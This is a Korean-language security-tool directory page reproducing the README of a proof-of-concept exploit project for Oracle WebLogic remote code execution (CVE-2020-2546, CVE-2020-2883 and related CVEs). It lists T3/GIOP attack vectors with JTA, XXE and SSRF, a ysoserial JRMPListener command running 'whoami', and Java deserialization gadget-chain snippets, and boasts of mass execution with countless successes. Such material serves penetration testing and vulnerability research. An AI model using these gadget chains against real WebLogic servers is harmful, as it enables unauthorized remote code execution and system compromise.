Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE_2020_2546 — CVE-2020-2546, CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic T3 페이로드 익스플로잇 poc python3 | Kitploit
도구/GitHubGitHub/hktalent/cve_2020_2546
Exploit FrameworksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubhktalent/cve_2020_2546

CVE_2020_2546

CVE-2020-2546, CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic T3 페이로드 익스플로잇 poc python3

저장소 보기
133273년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

Twitter: @Hktalent3135773 Tweet Follow on Twitter

1. Weblogic RCE 익스플로잇

CVE_2020_2546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3

2. 익스플로잇

  • GIOP + bind 전송 (CVE-2020-2555, CVE-2019-2888, CVE-2019-2888<XXE+SSRF> 또는 기타)
  • GIOP + jta 전송 (rmi 또는 기타)
  • GIOP + jta 전송 + SSRF
  • T3 + jta 전송
  • T3 + jta 전송 + SSRF
  • T3 + XXE 전송
  • T3 + XXE 전송 + SSRF

2.1. rmi 서버, 참조

  • 사용하지 마세요: org.mozilla.classfile.DefiningClassLoader
  • 사용하지 마세요: java -cp $mtx/../tools/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'whoami' 자세한 내용: https://github.com/hktalent/CVE-2020-2551

3. 코드

3.1. 코드1

root@kitploit:~
MVEL.compileExpression
MvelExtractor o = new MvelExtractor("xxx;");
		ObjectOutputStream oo = new ObjectOutputStream(System.out); 
		oo.writeObject(o);
		oo.flush();

3.2. 코드2

root@kitploit:~
public MsgOutput getObject(final String command) throws Exception {
	  String jndiAddress = command;
		JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
		jtaTransactionManager.setUserTransactionName(jndiAddress);
		MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class);
    return remote;
  }

3.3. 코드3

root@kitploit:~
public IORDelegate getObject(final String command) throws Exception {
IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class);
    return ior;
  }

3.4. 코드4

root@kitploit:~
weblogic.iiop.IIOPRemoteRefd,ObjectMessageImpl

3.5. CVE-2020-2883 코드

https://github.com/hktalent/CVE_2020_2546/issues/4

2883

이미지

4. CVE-2020-2546 페이로드

대량 실행, 무수한 성공

이미지 이미지

5. 감사

@r4v3zn @0nise

도구 다운로드